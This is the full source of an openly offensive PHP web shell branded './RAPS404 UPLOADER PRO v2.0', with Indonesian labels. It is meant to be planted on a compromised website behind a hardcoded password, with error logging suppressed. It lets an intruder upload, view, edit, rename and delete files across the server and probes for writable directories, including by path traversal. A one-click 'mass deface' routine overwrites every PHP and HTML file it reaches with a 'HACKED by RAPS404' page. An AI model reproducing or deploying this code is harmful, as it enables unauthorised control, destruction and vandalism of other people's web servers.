<!--
--  Uploaded on : https://haxor.my.id/open/testing009.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
set_time_limit(0);
ob_start();

// ===== AUTH =====
$pass = "./RAPS404";
if(!isset($_GET['p']) || $_GET['p'] !== $pass){
    die("Akses ditolak");
}

// ===== FUNGSI BANTU =====
function safePath($path){
    $path = str_replace(['\\', '..'], ['/', ''], $path);
    $path = preg_replace('/\/+/', '/', $path);
    return $path;
}

function isWritableDir($dir){
    if(!is_dir($dir)) return false;
    $test = $dir.'/'.uniqid().'.tmp';
    @file_put_contents($test, 'test');
    $writable = file_exists($test);
    @unlink($test);
    return $writable;
}

function findWritableDir($base){
    $list = ['', 'admin', 'uploads', 'images', 'files', 'data', 'tmp', 'backup', 
             'assets', 'public', 'html', 'web', 'root', 'media', 'download', 'cache'];
    $tried = [];
    foreach($list as $d){
        $path = $base.$d.'/';
        $path = safePath($path);
        if(in_array($path, $tried)) continue;
        $tried[] = $path;
        if(isWritableDir($path)) return $path;
        
        // bypass 403 via traversal
        $traversal = $base.'../'.$d.'/';
        $traversal = safePath($traversal);
        if(isWritableDir($traversal)) return $traversal;
    }
    // fallback
    $tmp = sys_get_temp_dir().'/';
    if(isWritableDir($tmp)) return $tmp;
    $tmp2 = '/tmp/';
    if(isWritableDir($tmp2)) return $tmp2;
    return false;
}

function scandirSafe($dir){
    $files = @scandir($dir);
    if($files === false) return [];
    return array_diff($files, ['.', '..']);
}

function formatSize($bytes){
    if($bytes === 0) return '0 B';
    $k = 1024;
    $m = $k*1024;
    $g = $m*1024;
    if($bytes < $k) return round($bytes,2).' B';
    if($bytes < $m) return round($bytes/$k,2).' KB';
    if($bytes < $g) return round($bytes/$m,2).' MB';
    return round($bytes/$g,2).' GB';
}

function getPerms($path){
    $perms = @fileperms($path);
    if($perms === false) return '----------';
    $s = '';
    $s .= ($perms & 0x1000) ? 'd' : '-';
    $s .= ($perms & 0x0100) ? 'r' : '-';
    $s .= ($perms & 0x0080) ? 'w' : '-';
    $s .= ($perms & 0x0040) ? 'x' : '-';
    $s .= ($perms & 0x0020) ? 'r' : '-';
    $s .= ($perms & 0x0010) ? 'w' : '-';
    $s .= ($perms & 0x0008) ? 'x' : '-';
    $s .= ($perms & 0x0004) ? 'r' : '-';
    $s .= ($perms & 0x0002) ? 'w' : '-';
    $s .= ($perms & 0x0001) ? 'x' : '-';
    return $s;
}

// ===== VARIABEL GLOBAL =====
$root = $_SERVER['DOCUMENT_ROOT'] ? $_SERVER['DOCUMENT_ROOT'] : getcwd();
$root = safePath($root.'/');
$current = isset($_GET['dir']) ? safePath($_GET['dir']) : $root;
$current = rtrim($current, '/').'/';
if(!is_dir($current)) $current = $root;

$writableDir = findWritableDir($root);
$isWritableCurrent = isWritableDir($current);

// ===== PROSES UPLOAD =====
if(isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK){
    $targetDir = isset($_POST['target']) ? safePath($_POST['target']) : $current;
    if(!is_dir($targetDir)) $targetDir = $current;
    $dest = $targetDir.'/'.basename($_FILES['file']['name']);
    if(@move_uploaded_file($_FILES['file']['tmp_name'], $dest)){
        $msg = "✅ Upload sukses: ".htmlspecialchars(basename($dest));
    } else {
        $msg = "❌ Upload gagal!";
    }
}

// ===== PROSES DELETE =====
if(isset($_GET['delete'])){
    $del = safePath($_GET['delete']);
    if(is_file($del) && @unlink($del)) $msg = "✅ File dihapus: ".htmlspecialchars(basename($del));
    elseif(is_dir($del) && @rmdir($del)) $msg = "✅ Folder dihapus: ".htmlspecialchars(basename($del));
    else $msg = "❌ Gagal hapus!";
}

// ===== PROSES MASS DEFACE =====
if(isset($_GET['deface'])){
    $payload = '<?php echo "HACKED by RAPS404"; ?>';
    $count = 0;
    $dirs = [$root];
    $extra = findWritableDir($root);
    if($extra && $extra !== $root) $dirs[] = $extra;
    
    foreach($dirs as $d){
        if(!is_dir($d)) continue;
        $files = scandirSafe($d);
        foreach($files as $f){
            $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
            if(in_array($ext, ['php','html','htm','phtml','php3','php4','php5'])){
                $path = $d.'/'.$f;
                if(@file_put_contents($path, $payload) !== false) $count++;
            }
        }
    }
    $msg = "🔥 Mass deface selesai! Total: $count file ditimpa.";
}

// ===== PROSES CREATE FOLDER =====
if(isset($_GET['mkdir'])){
    $newFolder = safePath($current.'/'.basename($_GET['mkdir']));
    if(!is_dir($newFolder) && @mkdir($newFolder, 0777, true)){
        $msg = "✅ Folder dibuat: ".htmlspecialchars(basename($newFolder));
    } else {
        $msg = "❌ Gagal buat folder!";
    }
}

// ===== PROSES RENAME =====
if(isset($_GET['rename']) && isset($_GET['newname'])){
    $old = safePath($_GET['rename']);
    $new = safePath(dirname($old).'/'.basename($_GET['newname']));
    if(file_exists($old) && @rename($old, $new)){
        $msg = "✅ Rename sukses!";
    } else {
        $msg = "❌ Gagal rename!";
    }
}

// ===== PROSES VIEW/EDIT =====
if(isset($_GET['view'])){
    $viewFile = safePath($_GET['view']);
    if(is_file($viewFile) && is_readable($viewFile)){
        $content = @file_get_contents($viewFile);
        if($content !== false){
            echo "<pre style='background:#000;color:#0f0;padding:10px;'>".htmlspecialchars($content)."</pre>";
            exit;
        }
    }
    $msg = "❌ Tidak bisa baca file!";
}

// ===== PROSES EDIT SAVE =====
if(isset($_POST['edit_save'])){
    $editFile = safePath($_POST['edit_file']);
    if(is_file($editFile) && is_writable($editFile)){
        @file_put_contents($editFile, $_POST['content']);
        $msg = "✅ File tersimpan!";
    } else {
        $msg = "❌ Gagal simpan!";
    }
}

// ===== SCAN FOLDER =====
$items = [];
$folders = [];
$files = [];
$scan = scandirSafe($current);
foreach($scan as $item){
    $path = $current.$item;
    if(is_dir($path)){
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}
sort($folders);
sort($files);
$items = array_merge($folders, $files);

// ===== HITUNG TOTAL =====
$totalSize = 0;
foreach($items as $item){
    $path = $current.$item;
    if(is_file($path)) $totalSize += @filesize($path);
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>./RAPS404 UPLOADER PRO</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; }
        body { background:#0a0a0a; color:#00ffcc; font-family:'Courier New',monospace; font-size:14px; padding:20px; }
        .container { max-width:1200px; margin:0 auto; border:1px solid #00ffcc; border-radius:8px; padding:20px; box-shadow:0 0 30px rgba(0,255,204,0.2); }
        .header { border-bottom:1px solid #00ffcc33; padding-bottom:10px; margin-bottom:15px; }
        .header h1 { color:#00ffcc; font-size:22px; text-shadow:0 0 10px #00ffcc66; }
        .header .status { float:right; color:#0f0; font-size:12px; margin-top:-20px; }
        .path-bar { background:#111; padding:10px; border-radius:4px; margin-bottom:15px; border-left:3px solid #00ffcc; }
        .path-bar span { color:#888; }
        .path-bar strong { color:#00ffcc; }
        .menu { display:flex; flex-wrap:wrap; gap:8px; margin-bottom:15px; }
        .menu a, .menu button { background:#111; color:#00ffcc; border:1px solid #00ffcc44; padding:6px 14px; border-radius:4px; text-decoration:none; font-size:12px; cursor:pointer; transition:0.3s; }
        .menu a:hover, .menu button:hover { background:#00ffcc22; border-color:#00ffcc; }
        .menu .danger { color:#ff4444; border-color:#ff444466; }
        .menu .danger:hover { background:#ff444422; }
        .upload-form { background:#111; padding:12px; border-radius:4px; margin-bottom:15px; display:flex; flex-wrap:wrap; align-items:center; gap:10px; }
        .upload-form input[type="file"] { color:#00ffcc; }
        .upload-form button { background:#00ffcc22; color:#00ffcc; border:1px solid #00ffcc; padding:4px 16px; border-radius:4px; cursor:pointer; }
        .upload-form button:hover { background:#00ffcc44; }
        .msg { background:#111; padding:10px; border-radius:4px; margin-bottom:15px; border-left:4px solid #00ffcc; color:#0f0; }
        .msg.error { border-left-color:#ff4444; color:#ff4444; }
        .table { width:100%; border-collapse:collapse; }
        .table th { text-align:left; padding:8px 6px; border-bottom:1px solid #00ffcc33; color:#888; font-weight:normal; font-size:12px; }
        .table td { padding:6px 6px; border-bottom:1px solid #222; }
        .table .folder { color:#00aaff; }
        .table .file { color:#00ff00; }
        .table .exec { color:#ff3333; }
        .table .writable { color:#ffcc00; }
        .table .size { color:#666; font-size:11px; }
        .table .perms { color:#555; font-size:11px; }
        .table .date { color:#555; font-size:11px; }
        .table .actions a { color:#00ffcc88; margin-right:8px; text-decoration:none; font-size:11px; }
        .table .actions a:hover { color:#00ffcc; }
        .footer { margin-top:15px; padding-top:10px; border-top:1px solid #00ffcc33; font-size:11px; color:#555; text-align:center; }
        .inline-form { display:inline; }
        .inline-form input { background:#111; color:#00ffcc; border:1px solid #333; padding:2px 6px; border-radius:3px; font-size:12px; }
        .inline-form button { background:#111; color:#00ffcc; border:1px solid #00ffcc44; padding:2px 10px; border-radius:3px; cursor:pointer; font-size:12px; }
        .inline-form button:hover { background:#00ffcc22; }
        .modal { display:<?php echo isset($_GET['edit']) ? 'block' : 'none'; ?>; position:fixed; top:10%; left:10%; width:80%; height:70%; background:#111; border:1px solid #00ffcc; border-radius:8px; padding:20px; z-index:999; overflow:auto; }
        .modal textarea { width:100%; height:80%; background:#000; color:#0f0; border:1px solid #333; padding:10px; font-family:'Courier New',monospace; font-size:13px; }
        .modal .modal-close { float:right; color:#ff4444; cursor:pointer; font-size:18px; }
        .modal .modal-close:hover { color:#ff0000; }
        .overlay { display:<?php echo isset($_GET['edit']) ? 'block' : 'none'; ?>; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:998; }
        .badge { background:#00ffcc22; padding:1px 8px; border-radius:10px; font-size:10px; }
        .badge.writable { background:#ffcc0022; color:#ffcc00; }
        @media(max-width:768px){ .container{padding:10px;} .table td{font-size:12px;} .menu a{padding:4px 8px;font-size:11px;} }
    </style>
</head>
<body>
<div class="container">

    <div class="header">
        <h1>⚡ ./RAPS404 UPLOADER PRO v2.0</h1>
        <div class="status">🔴 ONLINE &nbsp;|&nbsp; USER: <?= function_exists('get_current_user') ? htmlspecialchars(get_current_user()) : 'www-data' ?></div>
    </div>

    <div class="path-bar">
        <span>📂 PATH:</span> <strong><?= htmlspecialchars($current) ?></strong>
        <?php if($isWritableCurrent): ?>
            <span class="badge writable">✏️ WRITABLE</span>
        <?php else: ?>
            <span class="badge">🔒 READ-ONLY</span>
        <?php endif; ?>
        <span style="float:right;color:#666;">📊 <?= formatSize($totalSize) ?></span>
    </div>

    <div class="menu">
        <a href="?p=<?= $pass ?>&dir=<?= urlencode($root) ?>">🏠 ROOT</a>
        <a href="?p=<?= $pass ?>&dir=<?= urlencode(dirname($current)) ?>">⬆ UP</a>
        <a href="?p=<?= $pass ?>&dir=<?= urlencode($current) ?>&deface=1" class="danger" onclick="return confirm('Yakin mass deface?')">🔥 MASS DEFACE</a>
        <a href="?p=<?= $pass ?>&dir=<?= urlencode($current) ?>&scan=1">🔄 SCAN</a>
        <span style="flex:1;"></span>
        <span style="color:#666;font-size:11px;">🔑 <?= htmlspecialchars($pass) ?></span>
    </div>

    <?php if(isset($msg)): ?>
        <div class="msg <?= strpos($msg, '❌') !== false ? 'error' : '' ?>"><?= $msg ?></div>
    <?php endif; ?>

    <div class="upload-form">
        <form method="post" enctype="multipart/form-data" style="display:flex;flex-wrap:wrap;gap:8px;align-items:center;width:100%;">
            <input type="file" name="file" required style="background:#111;border:1px solid #333;padding:4px;color:#00ffcc;border-radius:4px;">
            <input type="hidden" name="target" value="<?= htmlspecialchars($current) ?>">
            <button type="submit">📤 UPLOAD</button>
        </form>
        <form method="get" style="display:flex;flex-wrap:wrap;gap:6px;align-items:center;margin-left:auto;">
            <input type="hidden" name="p" value="<?= $pass ?>">
            <input type="hidden" name="dir" value="<?= urlencode($current) ?>">
            <input type="text" name="mkdir" placeholder="folder_baru" style="background:#111;border:1px solid #333;padding:4px 8px;color:#00ffcc;border-radius:4px;width:120px;">
            <button type="submit">📁 BUAT FOLDER</button>
        </form>
    </div>

    <table class="table">
        <thead>
            <tr>
                <th>Nama</th>
                <th>Size</th>
                <th>Perms</th>
                <th>Modified</th>
                <th style="text-align:right;">Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php if(empty($items)): ?>
                <tr><td colspan="5" style="text-align:center;color:#555;">📭 Folder kosong</td></tr>
            <?php endif; ?>
            <?php foreach($items as $item): 
                $path = $current.$item;
                $isDir = is_dir($path);
                $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
                $isExec = in_array($ext, ['php','phtml','php3','php4','php5','sh','pl','py','rb']);
                $writable = is_writable($path);
                $size = $isDir ? '-' : formatSize(@filesize($path));
                $perms = getPerms($path);
                $mtime = date('Y-m-d H:i', @filemtime($path));
                $class = $isDir ? 'folder' : ($isExec ? 'exec' : 'file');
                if($writable) $class .= ' writable';
                $icon = $isDir ? '📁' : '📄';
                $actions = '';
                if($isDir){
                    $actions .= '<a href="?p='.$pass.'&dir='.urlencode($path).'">📂 Buka</a>';
                } else {
                    $actions .= '<a href="?p='.$pass.'&dir='.urlencode($current).'&view='.urlencode($path).'" target="_blank">👁 View</a>';
                    $actions .= '<a href="?p='.$pass.'&dir='.urlencode($current).'&edit='.urlencode($path).'">✏ Edit</a>';
                    if($writable){
                        $actions .= '<a href="?p='.$pass.'&dir='.urlencode($current).'&delete='.urlencode($path).'" onclick="return confirm(\'Hapus?\')">🗑 Hapus</a>';
                    }
                }
                if($writable && !$isDir){
                    $actions .= ' <a href="#" onclick="document.getElementById(\'rename_'.$item.'\').style.display=\'inline\';return false;">✏ Rename</a>';
                }
            ?>
            <tr>
                <td class="<?= $class ?>"><?= $icon ?> <?= htmlspecialchars($item) ?></td>
                <td class="size"><?= $size ?></td>
                <td class="perms"><?= $perms ?></td>
                <td class="date"><?= $mtime ?></td>
                <td class="actions" style="text-align:right;">
                    <?= $actions ?>
                    <?php if($writable && !$isDir): ?>
                        <form method="get" style="display:none;" id="rename_<?= $item ?>">
                            <input type="hidden" name="p" value="<?= $pass ?>">
                            <input type="hidden" name="dir" value="<?= urlencode($current) ?>">
                            <input type="hidden" name="rename" value="<?= urlencode($path) ?>">
                            <input type="text" name="newname" placeholder="new_name" style="background:#111;border:1px solid #333;padding:1px 4px;color:#00ffcc;border-radius:3px;width:100px;font-size:11px;">
                            <button type="submit">Ganti</button>
                        </form>
                    <?php endif; ?>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <div class="footer">
        ./RAPS404 UPLOADER PRO v2.0 &nbsp;|&nbsp; Target: <?= htmlspecialchars($root) ?> &nbsp;|&nbsp; Writable: <?= $writableDir ? htmlspecialchars($writableDir) : 'TIDAK ADA' ?>
    </div>

</div>

<?php if(isset($_GET['edit'])): 
    $editFile = safePath($_GET['edit']);
    if(is_file($editFile) && is_readable($editFile)):
        $content = @file_get_contents($editFile);
        if($content !== false):
?>
<div class="overlay" onclick="window.location='?p=<?= $pass ?>&dir=<?= urlencode($current) ?>'"></div>
<div class="modal">
    <span class="modal-close" onclick="window.location='?p=<?= $pass ?>&dir=<?= urlencode($current) ?>'">✕</span>
    <h3 style="margin-bottom:10px;">✏ Edit: <?= htmlspecialchars(basename($editFile)) ?></h3>
    <form method="post">
        <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
        <textarea name="content"><?= htmlspecialchars($content) ?></textarea>
        <div style="margin-top:10px;">
            <button type="submit" name="edit_save" style="background:#00ffcc22;color:#00ffcc;border:1px solid #00ffcc;padding:6px 20px;border-radius:4px;cursor:pointer;">💾 SAVE</button>
            <a href="?p=<?= $pass ?>&dir=<?= urlencode($current) ?>" style="color:#ff4444;margin-left:15px;">Batal</a>
        </div>
    </form>
</div>
<?php 
        endif;
    endif;
endif; 
?>

</body>
</html>